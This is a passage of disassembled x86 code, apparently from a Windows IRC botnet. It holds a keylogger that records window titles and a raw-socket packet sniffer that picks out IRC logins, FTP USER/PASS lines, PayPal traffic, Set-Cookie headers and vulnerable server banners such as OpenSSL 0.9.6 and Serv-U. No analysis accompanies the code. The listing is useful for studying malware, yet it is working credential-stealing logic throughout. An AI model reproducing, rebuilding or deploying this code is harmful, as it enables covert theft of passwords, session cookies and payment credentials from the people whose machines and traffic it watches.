mov [ebp+edi*4+var_8DC], 2
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4124A7: ; CODE XREF: sub_41234A+13Dj
; sub_41234A+146j ...
test esi, esi
jge short loc_4124BB
mov [ebp+edi*4+var_8DC], 3
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4124BB: ; CODE XREF: sub_41234A+141j
; sub_41234A+15Fj
mov [ebp+edi*4+var_8DC], 4
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4124CB: ; CODE XREF: sub_41234A+104j
lea eax, [ebp+edi*4+var_8DC]
mov esi, [eax]
test esi, esi
jz loc_4125F0
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
push eax
call sub_41B7B0
cmp edi, 8
pop ecx
jnz short loc_4124FE
and [ebp+eax+var_2DD], 0
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4124FE: ; CODE XREF: sub_41234A+1A5j
cmp eax, 1B9h
jbe short loc_41252A
call dword_4CDBE8 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CDC00 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_41256B
; ---------------------------------------------------------------------------
loc_41252A: ; CODE XREF: sub_41234A+1B9j
cmp edi, 0Dh
jnz loc_4125C2
lea eax, [ebp+var_2DC]
push eax
call sub_41B7B0
test eax, eax
pop ecx
jz loc_4125F0
call dword_4CDBE8 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CDC00 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_41256B: ; CODE XREF: sub_41234A+1DEj
lea eax, [ebp+var_4DC]
push eax
call sub_41C056
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_41226B
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_41BD60
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_41BD60
add esp, 0Ch
jmp short loc_4125F0
; ---------------------------------------------------------------------------
loc_4125C2: ; CODE XREF: sub_41234A+1E3j
cmp esi, 1
jz short loc_4125DB
cmp esi, 3
jz short loc_4125DB
cmp esi, 2
jz short loc_4125D6
cmp esi, 4
jnz short loc_4125F0
loc_4125D6: ; CODE XREF: sub_41234A+285j
push [ebp+arg_0]
jmp short loc_4125E2
; ---------------------------------------------------------------------------
loc_4125DB: ; CODE XREF: sub_41234A+27Bj
; sub_41234A+280j
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_4125E2: ; CODE XREF: sub_41234A+28Fj
lea eax, [ebp+var_2DC]
push eax
call sub_41C690
pop ecx
pop ecx
loc_4125F0: ; CODE XREF: sub_41234A+12Dj
; sub_41234A+158j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_437A8C
jl loc_412434
cmp [ebp+var_4], 0
jz loc_4123A5
push [ebp+var_D8]
call sub_40B2A3
pop ecx
push 0
call dword_4280CC ; ExitThread
sub_41234A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41261F proc near ; DATA XREF: sub_401B66+40C8o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41C2F0
mov edx, [ebp+arg_0]
push esi
push edi
push 25h
xor eax, eax
pop ecx
mov esi, edx
lea edi, [ebp+var_B4]
inc eax
push 10h
rep movsd
mov [ebp+var_8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp+var_1C]
push esi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_4CDC64 ; ntohs
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AB14
pop ecx
push eax
call dword_4CDCA4 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4CDCE4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_4126F4
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_438494
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4126D7
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409982
add esp, 14h
loc_4126D7: ; CODE XREF: sub_41261F+96j
lea eax, [ebp+var_2B4]
push eax
call sub_4157A5
push [ebp+var_30]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_4126F4: ; CODE XREF: sub_41261F+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_440BA4[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_4CDC90 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412779
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_438468
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412755
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409982
add esp, 14h
loc_412755: ; CODE XREF: sub_41261F+114j
lea eax, [ebp+var_2B4]
push eax
call sub_4157A5
pop ecx
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_30]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_412779: ; CODE XREF: sub_41261F+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4CDC10 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4127FC
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_438438
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4127D8
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409982
add esp, 14h
loc_4127D8: ; CODE XREF: sub_41261F+197j
lea eax, [ebp+var_2B4]
push eax
call sub_4157A5
pop ecx
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_30]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_4127FC: ; CODE XREF: sub_41261F+177j
push ebx
mov ebx, offset dword_437B50
loc_412802: ; CODE XREF: sub_41261F+21Cj
; sub_41261F+22Ej ...
push 0FFFFh
lea eax, [ebp+var_102B4]
push esi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push 0FFFFh
push eax
push edi
call dword_4CDC7C ; recv
cmp eax, 0FFFFFFFFh
jz loc_41292B
cmp [ebp+var_102AB], 6
jnz short loc_412802
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412802
lea eax, [ebp+var_1028C]
push offset dword_43842C
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412802
lea eax, [ebp+var_1028C]
push offset dword_43841C
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412802
xor edi, edi
mov eax, ebx
mov [ebp+arg_0], ebx
loc_412884: ; CODE XREF: sub_41261F+280j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4128A9
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412884
loc_4128A1: ; CODE XREF: sub_41261F+307j
mov edi, [ebp+var_4]
jmp loc_412802
; ---------------------------------------------------------------------------
loc_4128A9: ; CODE XREF: sub_41261F+276j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_4CDB94 ; ntohs
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_437B64[eax*8]
push off_437B40[eax*4]
lea eax, [ebp+var_2B4]
push offset dword_4383E8
push 200h
push eax
call sub_41C150
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_412919
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409982
add esp, 14h
loc_412919: ; CODE XREF: sub_41261F+2D8j
lea eax, [ebp+var_2B4]
push eax
call sub_4157A5
pop ecx
jmp loc_4128A1
; ---------------------------------------------------------------------------
loc_41292B: ; CODE XREF: sub_41261F+20Fj
call dword_4CDBF8 ; WSAGetLastError
push eax
push offset dword_4383BC
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41C150
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_412971
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409982
add esp, 14h
loc_412971: ; CODE XREF: sub_41261F+330j
lea eax, [ebp+var_2B4]
push eax
call sub_4157A5
pop ecx
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_30]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
sub_41261F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412995 proc near ; CODE XREF: sub_412CA4+216p
; sub_412CA4+240p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4D0AB4, eax
mov eax, offset dword_4D0AB4
retn
sub_412995 endp
; =============== S U B R O U T I N E =======================================
sub_4129A4 proc near ; CODE XREF: sub_412CA4+2B7p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_4129BE
loc_4129BA: ; CODE XREF: sub_4129A4+29j
; sub_4129A4+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4129BE: ; CODE XREF: sub_4129A4+14j
push offset aGxxx ; "#Gxxx"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129BA
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129BA
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129BA
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412A06
loc_412A02: ; CODE XREF: sub_4129A4+71j
; sub_4129A4+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412A06: ; CODE XREF: sub_4129A4+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A02
push offset a366 ; "366 "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A02
push offset a_login_0 ; ":.login"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A02
push offset aLogin_1 ; ":!login"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A02
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A02
push offset a_login ; ":.Login"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A02
push offset a_ident ; ":.ident"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A02
push offset aIdent ; ":!ident"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz loc_412A02
push offset a_hashin ; ":.hashin"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz loc_412A02
push offset aHashin ; ":!hashin"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4129A4 endp
; =============== S U B R O U T I N E =======================================
sub_412ABB proc near ; CODE XREF: sub_412CA4:loc_412F8Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412AD5
loc_412AD1: ; CODE XREF: sub_412ABB+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412AD5: ; CODE XREF: sub_412ABB+14j
push offset aGxxx ; "#Gxxx"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412AD1
push offset aOper_0 ; "OPER "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412AFB
loc_412AF7: ; CODE XREF: sub_412ABB+4Fj
; sub_412ABB+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412AFB: ; CODE XREF: sub_412ABB+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412AF7
push offset aOper ; "oper "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412AF7
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412ABB endp
; =============== S U B R O U T I N E =======================================
sub_412B31 proc near ; CODE XREF: sub_412CA4:loc_412FB6p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412B4B
loc_412B47: ; CODE XREF: sub_412B31+29j
; sub_412B31+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412B4B: ; CODE XREF: sub_412B31+14j
push offset aGxxx ; "#Gxxx"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B47
push offset aNick_1 ; "NICK "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B47
push offset a220 ; "220 "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412B82
loc_412B7E: ; CODE XREF: sub_412B31+60j
; sub_412B31+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412B82: ; CODE XREF: sub_412B31+4Bj
push offset a230 ; "230 "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B7E
push offset aUser_3 ; "USER "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B7E
push offset aPass_1 ; "PASS "
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412B31 endp
; =============== S U B R O U T I N E =======================================
sub_412BB8 proc near ; CODE XREF: sub_412CA4+345p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412BD2
loc_412BCE: ; CODE XREF: sub_412BB8+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412BD2: ; CODE XREF: sub_412BB8+14j
push offset aGxxx ; "#Gxxx"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412BCE
push offset aPaypal ; "paypal"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412BF8
loc_412BF4: ; CODE XREF: sub_412BB8+4Fj
; sub_412BB8+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412BF8: ; CODE XREF: sub_412BB8+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412BF4
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412BF4
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412BF4
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412BB8 endp
; =============== S U B R O U T I N E =======================================
sub_412C3F proc near ; CODE XREF: sub_412CA4:loc_413051p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412C59
loc_412C55: ; CODE XREF: sub_412C3F+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412C59: ; CODE XREF: sub_412C3F+14j
push offset aGxxx ; "#Gxxx"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C55
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_412C7F
loc_412C7B: ; CODE XREF: sub_412C3F+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412C7F: ; CODE XREF: sub_412C3F+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7B
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412C3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412CA4 proc near ; DATA XREF: sub_401B66+4216o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C2F0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
xor esi, esi
push 3Fh
inc esi
xor ebx, ebx
mov [eax+90h], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_3B7]
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CDC78 ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4CDCE8 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call near ptr sub_41CAE0
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CDCE4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412D4A
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412D4A: ; CODE XREF: sub_412CA4+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CDC90 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412DC0
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_438768
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412D9C
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409982
add esp, 14h
loc_412D9C: ; CODE XREF: sub_412CA4+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_4157A5
pop ecx
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_34]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_412DC0: ; CODE XREF: sub_412CA4+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CDC10 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412E46
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_438738
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412E22
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409982
add esp, 14h
loc_412E22: ; CODE XREF: sub_412CA4+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_4157A5
pop ecx
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_34]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_412E46: ; CODE XREF: sub_412CA4+13Cj
mov esi, 200h
loc_412E4B: ; CODE XREF: sub_412CA4+1D6j
; sub_412CA4+1FFj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CDC7C ; recv
cmp [ebp+var_113AF], 6
jnz short loc_412E4B
push [ebp+var_113A4]
call dword_4281E8 ; ntohs
push [ebp+var_113A4+2]
movzx edi, ax
mov [ebp+var_4], edi
call dword_4281E8 ; ntohs
movzx eax, ax
cmp edi, 6Eh
mov [ebp+arg_0], eax
jz short loc_412E4B
cmp edi, 19h
jz short loc_412E4B
cmp eax, 6Eh
jz short loc_412E4B
cmp eax, 19h
jz short loc_412E4B
push [ebp+var_113AC]
call sub_412995
mov edi, dword_4281EC
add esp, 4
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_2 ; "%s"
push eax
call sub_41C056
push [ebp+var_113A8]
call sub_412995
add esp, 10h
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_2 ; "%s"
push eax
call sub_41C056
lea eax, [ebp+var_1138C]
xor edi, edi
push eax
call sub_41B7B0
add esp, 10h
test eax, eax
jle short loc_412F40
loc_412F17: ; CODE XREF: sub_412CA4+29Aj
lea eax, [ebp+edi+var_1138C]
cmp byte ptr [eax], 0Dh
jnz short loc_412F26
mov byte ptr [eax], 20h
loc_412F26: ; CODE XREF: sub_412CA4+27Dj
cmp byte ptr [eax], 0Ah
jnz short loc_412F2E
mov byte ptr [eax], 20h
loc_412F2E: ; CODE XREF: sub_412CA4+285j
lea eax, [ebp+var_1138C]
inc edi
push eax
call sub_41B7B0
cmp edi, eax
pop ecx
jl short loc_412F17
loc_412F40: ; CODE XREF: sub_412CA4+271j
cmp [ebp+var_4], 50h
jz loc_412FE2
cmp [ebp+arg_0], 50h
loc_412F4E: ; DATA XREF: .packed:off_43CE7Co
jz loc_412FE2
lea eax, [ebp+var_1138C]
push eax
call sub_4129A4
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412F8A
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_438704
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F8A: ; CODE XREF: sub_412CA4+2C6j
call sub_412ABB
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412FB6
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_4386D0
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FB6: ; CODE XREF: sub_412CA4+2F5j
call sub_412B31
test al, al
pop ecx
jz short loc_412FE2
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_43869C
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FE2: ; CODE XREF: sub_412CA4+2A0j
; sub_412CA4:loc_412F4Ej ...
lea eax, [ebp+var_1138C]
push eax
call sub_412BB8
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_413051
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_438664
loc_413013: ; CODE XREF: sub_412CA4+2E1j
; sub_412CA4+310j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C150
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412E4B
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409982
add esp, 14h
jmp loc_412E4B
; ---------------------------------------------------------------------------
loc_413051: ; CODE XREF: sub_412CA4+354j
call sub_412C3F
test al, al
pop ecx
jz loc_412E4B
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_43862C
jmp short loc_413013
sub_412CA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413081 proc near ; DATA XREF: sub_401B66+645Bo
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_413469
push eax
lea eax, [ebp+var_494]
push offset unk_438794
push eax
call sub_41C056
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_413111
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_409982
add esp, 14h
loc_413111: ; CODE XREF: sub_413081+6Ej
lea eax, [ebp+var_494]
push eax
call sub_4157A5
push [ebp+var_290]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_413081 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413133 proc near ; CODE XREF: sub_413469+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
